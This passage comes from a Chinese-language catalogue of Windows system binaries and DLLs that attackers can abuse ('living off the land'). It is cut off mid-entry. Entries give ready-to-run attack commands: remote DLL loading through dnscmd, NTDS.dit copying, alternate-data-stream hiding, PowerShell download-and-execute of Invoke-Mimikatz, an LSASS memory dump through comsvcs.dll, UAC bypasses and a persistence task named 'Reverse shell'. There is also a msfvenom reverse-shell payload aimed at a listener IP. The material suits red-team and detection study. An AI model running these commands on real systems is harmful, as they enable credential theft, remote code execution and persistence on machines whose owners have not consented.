https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdfhttps://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

Dnscmd.exe

  • 使用說明:

用於管理DNS服務器的命令行界面

文件路徑:​​​​​​​

C:\Windows\System32\Dnscmd.exeC:\Windows\SysWOW64\Dnscmd.exe
  • 執行方式:

dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
  • 參考資料

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.htmlhttps://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpphttps://twitter.com/Hexacorn/status/994000792628719618http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Esentutl.exe

  • 使用說明:

用於處理Microsoft聯合引擎技術(JET)數據庫的二進制文件

文件路徑:​​​​​​​

C:\Windows\System32\esentutl.exeC:\Windows\SysWOW64\esentutl.exe
  • 執行方式:

esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /oesentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.ditesentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /oesentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /oesentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /oesentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
  • 參考資料:

https://twitter.com/egre55/status/985994639202283520https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/https://twitter.com/bohops/status/1094810861095534592

Eventvwr.exe

  • 使用說明:

在GUI窗口中顯示Windows事件日誌。

文件路徑:​​​​​​​

C:\Windows\System32\eventvwr.exeC:\Windows\SysWOW64\eventvwr.exe
  • 執行方式

eventvwr.exe
  • 參考資料:

https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1

Expand.exe

  • 使用說明:

expand.exe是一個可執行文件,屬於Microsoft Corporation開發的User Profile Hive Cleanup Service程序的一部分。用於擴展對文件壓縮的功能。

文件路徑:​​​​​​​

C:\Windows\System32\Expand.exeC:\Windows\SysWOW64\Expand.exe
  • 執行方式:

expand \\webdav\folder\file.bat c:\ADS\file.batexpand c:\ADS\file1.bat c:\ADS\file2.batexpand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
  • 參考資料:

https://twitter.com/infosecn1nja/status/986628482858807297https://twitter.com/Oddvarmoe/status/986709068759949319

Extexport.exe

  • 使用說明:ExtExport.exe是可執行文件,屬於Microsoft Corporation開發的Internet Explorer程序的一部分。

文件路徑:​​​​​​​

C:\Program Files\Internet Explorer\Extexport.exeC:\Program Files (x86)\Internet Explorer\Extexport.exe
  • 執行方式:

Extexport.exe c:\test foo bar
  • 參考資料:

http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/

Extrac32.exe

  • 使用說明:extrac32.exe是屬於Microsoft®CAB File Extract Utility的進程。

文件路徑:​​​​​​​

C:\Windows\System32\extrac32.exeC:\Windows\SysWOW64\extrac32.exe
  • 執行方式:

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exeextrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exeextrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
  • 參考資料:

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8fhttps://twitter.com/egre55/status/985994639202283520

Findstr.exe

  • 使用說明:

findstr.exe它類似於find命令。findstr支持正則表達式,而find不支持。findstr程序最初作爲Windows 2000 Resource Kit的一部分發布,名稱爲qgrep。

文件路徑:​​​​​​​

C:\Windows\System32\findstr.exeC:\Windows\SysWOW64\findstr.exe
  • 執行方式:

findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exefindstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exefindstr /S /I cpassword \\sysvol\policies\*.xmlfindstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
  • 參考資料:

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

GfxDownloadWrapper.exe

  • 使用說明:

英特爾圖形控制面板使用GfxDownloadWrapper.exe來進行遠程文件下載,接收第一個參數URL和目標文件路徑。

文件路徑:​​​​​​​

c:\windows\system32\driverstore\filerepository\64kb6472.inf_amd64_3daef03bbe98572b\c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_0e9c57ae3396e055\c:\windows\system32\driverstore\filerepository\cui_component.inf_amd64_0219cc1c7085a93f\
  • 執行方式:

C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
  • 參考資料:

https://www.sothis.tech/author/jgalvez/

Gpscript.exe

  • 使用說明:

組策略使用Gpscript.exe來處理腳本。

文件路徑:​​​​​​​

C:\Windows\System32\gpscript.exeC:\Windows\SysWOW64\gpscript.exe
  • 執行方式:

Gpscript /logonGpscript /startup
  • 參考資料:

https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/

Hh.exe

  • 使用說明:

hh.exe文件是其HTML幫助可執行程序,它是合法的Windows核心文件。通過單擊文件或鏈接的菜單項打開“編譯的幫助文件”(類型.chm)時,它將運行。通過調用HTML幫助ActiveX控件,它將使幫助文件在幫助查看器中打開。

文件路徑:​​​​​​​

C:\Windows\System32\hh.exeC:\Windows\SysWOW64\hh.exe
  • 執行方式

HH.exe http://some.url/script.ps1HH.exe c:\windows\system32\calc.exe
  • 參考資料:

https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Ie4uinit.exe

  • 使用說明:

Ie4uinit.exe, Internet Explorer每用戶初始化實用程序,它對圖標緩存數據庫執行操作,該圖標緩存數據庫是“%userprofile%\ AppData \ Local”子目錄中的一個隱藏的“ .db”類型文件,圖標緩存保留Windows或IE使用的圖標副本,以避免重複重繪它們。

文件路徑:​​​​​​​

c:\windows\system32\ie4uinit.exec:\windows\sysWOW64\ie4uinit.exec:\windows\system32\ieuinit.infc:\windows\sysWOW64\ieuinit.inf
  • 執行方式:

ie4uinit.exe -BaseSettings
  • 參考資料:

https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

Jsc.exe

  • 使用說明:

jsc.exe是Microsoft Corporation開發的Microsoft®JScript .NET的一部分,用來將javascript代碼編譯爲.exe或.dll格式的二進制文件。

文件路徑:​​​​​​​

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Jsc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\Jsc.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\Jsc.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\Jsc.exe
  • 執行方式:

jsc.exe scriptfile.jsjsc.exe /t:library Library.js
  • 參考資料:

https://twitter.com/DissectMalware/status/998797808907046913https://www.phpied.com/make-your-javascript-a-windows-exe/

Makecab.exe

  • 使用說明:

Makecab.exe用於將文件打包成Cabinet(.cab)文件。

文件路徑:

C:\Windows\System32\makecab.exeC:\Windows\SysWOW64\makecab.exe
  • 執行方式:

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cabmakecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
  • 參考資料:

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Mmc.exe

  • 使用說明:

mmc.exe是系統管理程序的一個框架程序,全稱是Microsoft Management Console,它提供給擴展名爲msc的管理程序一個運行的平臺,比如組策略,系統清單,任務管理器,以及打印管理、本地安全策略等等,另外本進程也可能同時運行兩個或更多個。

文件路徑:

C:\Windows\System32\mmc.exeC:\Windows\SysWOW64\mmc.exe
  • 執行方式:

mmc.exe -Embedding c:\path\to\test.msc
  • 參考資料:

https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

Msconfig.exe

  • 使用說明:

msconfig.exe用於查看、編輯和管理操作系統配置文件及隨操作系統自動啓動的程序/服務,包括:Win.ini、boot.ini、系統服務和自動啓動程序等。

文件路徑:

C:\Windows\System32\msconfig.exe
  • 執行方式:

執行嵌入在c:\windows\system32\mscfgtlc.xml中的命令。

Msconfig.exe -5
  • 參考資料:

https://twitter.com/pabraeken/status/991314564896690177

Msdt.exe

  • 使用說明:Microsoft診斷工具

文件路徑:​​​​​​​

C:\Windows\System32\Msdt.exeC:\Windows\SysWOW64\Msdt.exe
  • 執行方式:

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE
  • 參考資料:

https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/

https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

https://twitter.com/harr0ey/status/991338229952598016

Netsh.exe

  • 使用說明:

Netsh.exe 是一個管理員可以用來在命令提示符處配置並監視基於 Windows 的計算機的工具。使用 Netsh.exe 工具,可以將輸入的上下文命令定向到適當的幫助器,然後幫助器將執行命令。幫助器是個動態鏈接庫 (.dll) 文件,它通過提供配置、監視和支持一種或多種服務、實用工具或協議,來擴展 Netsh.exe 工具的功能。

文件路徑:​​​​​​​

C:\WINDOWS\System32\Netsh.exeC:\WINDOWS\SysWOW64\Netsh.exe
  • 執行方式:

netsh.exe add helper C:\Users\User\file.dll
  • 參考資料:

https://freddiebarrsmith.com/trix/trix.htmlhttps://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.htmlhttps://liberty-shell.com/sec/2018/07/28/netshlep/

Pcwrun.exe

  • 使用說明:

程序兼容性疑難解答調用程序。

文件路徑:

C:\Windows\System32\pcwrun.exe
  • 執行方式:

Pcwrun.exe c:\temp\beacon.exe
  • 參考資料:

https://twitter.com/pabraeken/status/991335019833708544

Powershell.exe

  • 使用說明:

Windows PowerShell 旨在改進命令行和腳本環境。PowerShell以.NET Framework爲平臺,接收和返回.NET對象,此舉爲管理和配置微軟系統帶來了新的方法和工具。

文件路徑:​​​​​​​

64位版本:C:\ Windows \ System32 \ WindowsPowerShell \ v1.032位版本:C:\ Windows \ SysWOW64 \ WindowsPowerShell \ v1.0
  • 執行方式:

a)、powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://x/1.jpg‘,'C:\Users\x\Desktop\test\12.exe')
b)、powershell (Invoke-WebRequest http://x/1.jpg -O x.jpg)
c)、也可以通過從UVC讀取腳本執行:
powershell -exec bypass -f \\webdavserver\a.ps1
d)、內存加載:
1、powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

2、powershell -exec bypass -c "iwr https://gist.githubusercontent.com/Urahara3389/d83b6f9ccedf9aa53f70d987360dbc0e/raw/53ad790f87e0fd2c9449d5359358cd251c39297a/calc.ps1|iex"

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('cs shellcode address'))"
  • 參考資料:

https://blog.csdn.net/a1453514850/article/details/88074300

Print.exe

  • 使用說明:

Print.exe是Windows用來將文件發送到打印機的程序。

文件路徑:​​​​​​​

C:\Windows\System32\print.exeC:\Windows\SysWOW64\print.exe
  • 執行方式:

print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exeprint /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exeprint /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
  • 參考資料:

https://twitter.com/Oddvarmoe/status/985518877076541440https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410

Reg.exe

  • 使用說明:

reg.exe,用該命令向註冊表加入一個新的指定鍵值

文件路徑:​​​​​​​

C:\Windows\System32\reg.exeC:\Windows\SysWOW64\reg.exe
  • 執行方式:

reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
  • 參考資料:

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Regedit.exe

  • 使用說明:

regedit.exe是微軟公司出品的一個進程文件。位於C:\Windows\目錄,可用於修改Windows系統的註冊表中的項,值以及數據。

文件路徑:​​​​​​​

C:\Windows\System32\regedit.exeC:\Windows\SysWOW64\regedit.exe
  • 執行方式

regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKeyregedit C:\ads\file.txt:regfile.reg
  • 參考資料:

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Register-cimprovider.exe

  • 使用說明:

用於註冊新的WMI提供程序。

文件路徑:​​​​​​​

C:\Windows\System32\Register-cimprovider.exeC:\Windows\SysWOW64\Register-cimprovider.exe
  • 執行方式:

Register-cimprovider -path "C:\folder\evil.dll"
  • 參考資料:

https://twitter.com/PhilipTsukerman/status/992021361106268161

Replace.exe

  • 使用說明:

命令行用於一個文件替換另一個文件。

文件路徑:​​​​​​​

C:\Windows\System32\replace.exeC:\Windows\SysWOW64\replace.exe
  • 執行方式:

replace.exe C:\Source\File.cab C:\Destination /Areplace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
  • 參考資料:

https://twitter.com/elceef/status/986334113941655553https://twitter.com/elceef/status/986842299861782529

Rpcping.exe

  • 使用說明:

用於驗證rpc連接。

文件路徑:​​​​​​​

C:\Windows\System32\rpcping.exeC:\Windows\SysWOW64\rpcping.exe
  • 執行方式:

rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
  • 參考資料:

https://github.com/vysec/RedTipshttps://twitter.com/vysecurity/status/974806438316072960https://twitter.com/vysecurity/status/873181705024266241

Runonce.exe

  • 使用說明:

runonce.exe是微軟Run Once的包裝。它用於第三方應用程序的安裝程序。它允許安裝程序添加到啓動項中,用於再次啓動後,進行進一步配置。這個程序對你係統的正常運行是非常重要的。

文件路徑:​​​​​​​

C:\Windows\System32\runonce.exeC:\Windows\SysWOW64\runonce.exe
  • 執行方式:

Runonce.exe /AlternateShellStartup
  • 參考資料:

https://twitter.com/pabraeken/status/990717080805789697https://cmatskas.com/configure-a-runonce-task-on-windows/

Runscripthelper.exe

  • 使用說明:runscripthelper.exe是在Windows 10 RS3中引入的,它所做的事情是從一個特定的目錄讀取PowerShell代碼並執行這些代碼。

文件路徑:​​​​​​​

C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.15_none_c2df1bba78111118\Runscripthelper.exe
C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe
  • 執行方式:

 

runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test
  • 參考資料:

https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fchttp://www.4hou.com/technology/8999.html

Sc.exe

  • 使用說明:

使用 Sc.exe 可以幫助開發的 Windows 服務。Sc.exe,資源工具包中提供實現對所有在 Windows 服務的控件應用程序編程接口 (API) 函數的調用。您可以通過在命令行上指定這些設置對這些函數的參數。Sc.exe 也顯示服務狀態,並檢索存儲在狀態結構字段中的值。該工具還允許您指定的遠程計算機名稱,以便您可以調用服務 API 函數或查看遠程計算機上的服務狀態結構。

文件路徑:​​​​​​​

C:\Windows\System32\sc.exeC:\Windows\SysWOW64\sc.exe
  • 執行方式:

sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice
  • 參考資料:

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Schtasks.exe

  • 使用說明:schtasks.exe是安排命令和程序定期運行或在指定時間內運行。從計劃表中添加和刪除任務,按需要啓動和停止任務,顯示和更改計劃任務。

文件路徑:​​​​​​​

c:\windows\system32\schtasks.exec:\windows\syswow64\schtasks.exe
  • 執行方式:

schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe
  • 參考資料:

https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/

Scriptrunner.exe

  • 使用說明:

ScriptRunner.exe 被視爲一種 Windows Executable 文件。它最常用於由 Microsoft 開發的 Microsoft (R) Windows (R) Operating System。它使用 EXE 文件擴展名, 並被視爲 Win32 EXE (可執行的應用程序) 文件。

ScriptRunner.exe 最初開發於 07/29/2015,位於 Windows 10 操作系統中,適用於 Windows 10。此文件版本標記出來自Microsoft 的最新和最近更新版本。

文件路徑:​​​​​​​

C:\Windows\System32\scriptrunner.exeC:\Windows\SysWOW64\scriptrunner.exe
  • 執行方式:

Scriptrunner.exe -appvscript calc.exeScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
  • 參考資料:

https://twitter.com/KyleHanslovan/status/914800377580503040https://twitter.com/NickTyrer/status/914234924655312896https://github.com/MoooKitty/Code-Execution

Tttracer.exe

  • 使用說明:

TTTracer.exe,Microsoft的Time Travel工具,客戶可以運行客戶端版本來跟蹤程序的流程。

文件路徑:​​​​​​​

C:\Windows\System32\tttracer.exeC:\Windows\SysWOW64\tttracer.exe
  • 執行方式:

tttracer.exe C:\windows\system32\calc.exe
  • 參考資料:

https://twitter.com/oulusoyum/status/1191329746069655553https://twitter.com/mattifestation/status/1196390321783025666https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html

Verclsid.exe

  • 使用說明:

verclsid.exe是Microsoft XP 安全更新程序 (KB908531)。Windows 資源管理器中有一個安全問題,攻擊者可能會利用此問題危及基於 Windows 的系統的安全並獲取對系統的控制權。

文件路徑:​​​​​​​

C:\Windows\System32\verclsid.exeC:\Windows\SysWOW64\verclsid.exe
  • 執行方式:

verclsid.exe /S /C {CLSID}
  • 參考資料:

https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

Wab.exe

  • 使用說明:Windows通訊錄管理器

文件路徑:​​​​​​​

C:\Program Files\Windows Mail\wab.exeC:\Program Files (x86)\Windows Mail\wab.exe
  • 執行方式:

更改HKLM\Software\Microsoft\WAB\DLLPath並執行選擇的DLLwab.exe
  • 參考資料:

https://twitter.com/Hexacorn/status/991447379864932352http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/

wmic.exe

  • 使用說明:wmic.exe是WMI 命令行。作爲 Windows XP 的一部分發布的 WMI 命令行工具 (wmic.exe) 提供一個到 WMI 基礎結構的命令行接口。可以使用 wmic.exe 執行來自命令行的常見 WMI 任務,包括瀏覽 CIM 和檢查 CIM 類定義。

文件路徑:​​​​​​​

C:\Windows\System32\wbem\wmic.exeC:\Windows\SysWOW64\wbem\wmic.exe
  • 執行方式:

wmic.exe process call create "c:\ads\file.txt:program.exe"
wmic.exe process call create calc
wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
wmic.exe /node:"192.168.0.1" process call create "evil.exe"
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
  • 參考資料:

https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
https://twitter.com/subTee/status/986234811944648707

Wsreset.exe

  • 使用說明:

Windows應用商店重置工具。只需將二進制文件放在磁盤上,然後將其位置寫入更正註冊表項,然後運行WSReset.exe。二進制文件將以高特權運行。

文件路徑:

C:\Windows\System32\wsreset.exe
  • 執行方式:

wsreset.exe
  • 參考資料:

https://www.activecyber.us/activelabs/windows-uac-bypasshttps://twitter.com/ihack4falafel/status/1106644790114947073https://github.com/hfiref0x/UACME/blob/master/README.md

 

0x04 系統庫文件(10個)

Advpack.dll

  • 使用說明:

使用rundll32.exe安裝軟件和驅動程序的實用程序

文件路徑:​​​​​​​

c:\windows\system32\advpack.dllc:\windows\syswow64\advpack.dll
  • 執行方式:

rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,,1,rundll32.exe advpack.dll,RegisterOCX test.dllrundll32.exe advpack.dll,RegisterOCX calc.exerundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"
  • 參考資料:

https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
https://twitter.com/ItsReallyNick/status/967859147977850880
https://twitter.com/bohops/status/974497123101179904
https://twitter.com/moriarty_meng/status/977848311603380224

Comsvcs.dll

  • 使用說明:

使用rundll32.exe執行Com+服務。

文件路徑:

c:\windows\system32\comsvcs.dll
  • 執行方式:

rundll32 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"
  • 參考資料:

https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

Ieadvpack.dll

  • 使用說明:用於Internet Explorer的INF安裝程序。具有與advpack.dll相同的功能。

文件路徑:​​​​​​​

c:\windows\system32\ieadvpack.dllc:\windows\syswow64\ieadvpack.dll
  • 執行方式:

rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,rundll32.exe ieadvpack.dll,LaunchINFSection c:\test.inf,,1,rundll32.exe ieadvpack.dll,RegisterOCX test.dllrundll32.exe ieadvpack.dll,RegisterOCX calc.exerundll32 ieadvpack.dll, RegisterOCX "cmd.exe /c calc.exe"
  • 參考資料:

https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
https://twitter.com/pabraeken/status/991695411902599168
https://twitter.com/0rbz_/status/974472392012689408

Ieaframe.dll

  • 使用說明:Internet瀏覽器DLL,用於翻譯HTML代碼。

文件路徑:​​​​​​​

c:\windows\system32\ieframe.dllc:\windows\syswow64\ieframe.dll
  • 執行方式

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"
  • 參考資料:

http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
https://twitter.com/bohops/status/997690405092290561
https://windows10dll.nirsoft.net/ieframe_dll.html

Mshtml.dll

  • 使用說明:Microsoft HTML 解析程序

文件路徑:​​​​​​​

c:\windows\system32\mshtml.dllc:\windows\syswow64\mshtml.dll
  • 執行方式:

rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"
  • 參考資料:

https://twitter.com/pabraeken/status/998567549670477824https://windows10dll.nirsoft.net/mshtml_dll.html

Pcwutl.dll

  • 使用說明:Microsoft HTML 解析程序

文件路徑:​​​​​​​

c:\windows\system32\pcwutl.dllc:\windows\syswow64\pcwutl.dll
  • 執行方式:

rundll32.exe pcwutl.dll,LaunchApplication calc.exe
  • 參考資料:

https://twitter.com/harr0ey/status/989617817849876488https://windows10dll.nirsoft.net/pcwutl_dll.html

stager.dll/stager.exe

  • 使用說明:

下載https://github.com/phackt/stager.dll

先使用msfvenom生成payload

msfvenom -p windows/x64/encrypted_shell_reverse_tcp LHOST=192.168.1.24 LPORT=443 --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f c -o /tmp/meterpreter.c

替換cpp文件中的payload,編譯生成dll:

cl /LD /MT /EHa stager_dll_xx.cpp aes.cpp /Fe:stager.dll

也可以編譯生成exe

cl /MT /EHa stager_exe_xx.cpp aes.cpp /Fe:stager.exe

在靶機執行rundll32 stager.dll,Exec即可。

  • 參考資料:

https://github.com/phackt/stager.dllhttps://wh0ale.github.io/2019/01/23/2019-1-23-%E5%90%8E%E6%B8%97%E9%80%8F%E8%AF%A6%E8%A7%A3/

Setupapi.dll

  • 使用說明:Windows應用程序編程接口

文件路徑:

c:\windows\system32\setupapi.dllc:\windows\syswow64\setupapi.dll
  • 執行方式:

rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 C:\Tools\shady.inf
  • 參考資料:

https://github.com/huntresslabs/evading-autorunshttps://twitter.com/pabraeken/status/994742106852941825https://windows10dll.nirsoft.net/setupapi_dll.html

Shdocvw.dll

  • 使用說明:

shdocvw.dll是爲Windows應用程序添加基礎文件和網絡操作相關模塊

文件路徑:​​​​​​​

c:\windows\system32\shdocvw.dllc:\windows\syswow64\shdocvw.dll
  • 執行方式:

rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url"
  • 參考資料:

http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/
https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/
https://twitter.com/bohops/status/997690405092290561
https://windows10dll.nirsoft.net/shdocvw_dll.html

Shell32.dll

  • 使用說明:系統文件shell32.dll是存放在Windows\System32系統文件夾中的重要文件,通常情況下是在安裝操作系統過程中自動創建的,對於系統正常運行來說至關重要。在正常情況下不建議用戶對該類文件進行隨意的修改,它的存在對維護計算機系統的穩定具有重要作用。

文件路徑:​​​​​​​

c:\windows\system32\shell32.dllc:\windows\syswow64\shell32.dll
  • 執行方式:

rundll32.exe shell32.dll,Control_RunDLL payload.dll
  • 參考資料:

https://twitter.com/Hexacorn/status/885258886428725250https://twitter.com/pabraeken/status/991768766898941953https://twitter.com/mattifestation/status/776574940128485376https://twitter.com/KyleHanslovan/status/905189665120149506https://windows10dll.nirsoft.net/shell32_dll.html

Syssetup.dll

  • 使用說明:Windows NT系統安裝dll文件。

文件路徑:​​​​​​​

c:\windows\system32\syssetup.dllc:\windows\syswow64\syssetup.dll
  • 執行方式:

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\test\shady.infrundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 c:\temp\something.inf
  • 參考資料:

https://twitter.com/pabraeken/status/994392481927258113https://twitter.com/harr0ey/status/975350238184697857https://twitter.com/bohops/status/975549525938135040https://windows10dll.nirsoft.net/syssetup_dll.html

其他MS程序(21個)

Appvlp.exe

  • 使用說明:

Microsoft Office 2016附帶的應用程序虛擬化實用程序。

文件路徑:​​​​​​​

C:\Program Files\Microsoft Office\root\client\appvlp.exeC:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe
  • 執行方式:

AppVLP.exe \\webdav\calc.bat
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)"
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
  • 參考資料:

https://github.com/MoooKitty/Code-Executionhttps://twitter.com/moo_hax/status/892388990686347264https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/

Bginfo.exe

  • 使用說明:

BgInfo是SysInternals套件中的實用程序,它可以在桌面背景中直接顯示計算機的系統信息。

  • 執行方式:

bginfo.exe bginfo.bgi /popup /nolicprompt\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
  • 參考資料:

https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/https://github.com/3gstudent/bgi-creater

Cdb.exe

  • 使用說明:

Windows Debug工具包中的一個調試工具。

文件路徑:​​​​​​​

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exeC:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe
  • 執行方式:

cdb.exe -cf x64_calc.wds -o notepad.exe
  • 參考資料:

http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.htmlhttps://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-optionshttps://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda

csi.exe

  • 使用說明:

和dnx一樣csi和rcsi都可以執行C#代碼,但csi是交互式的而rcsi不是。

文件路徑:​​​​​​​

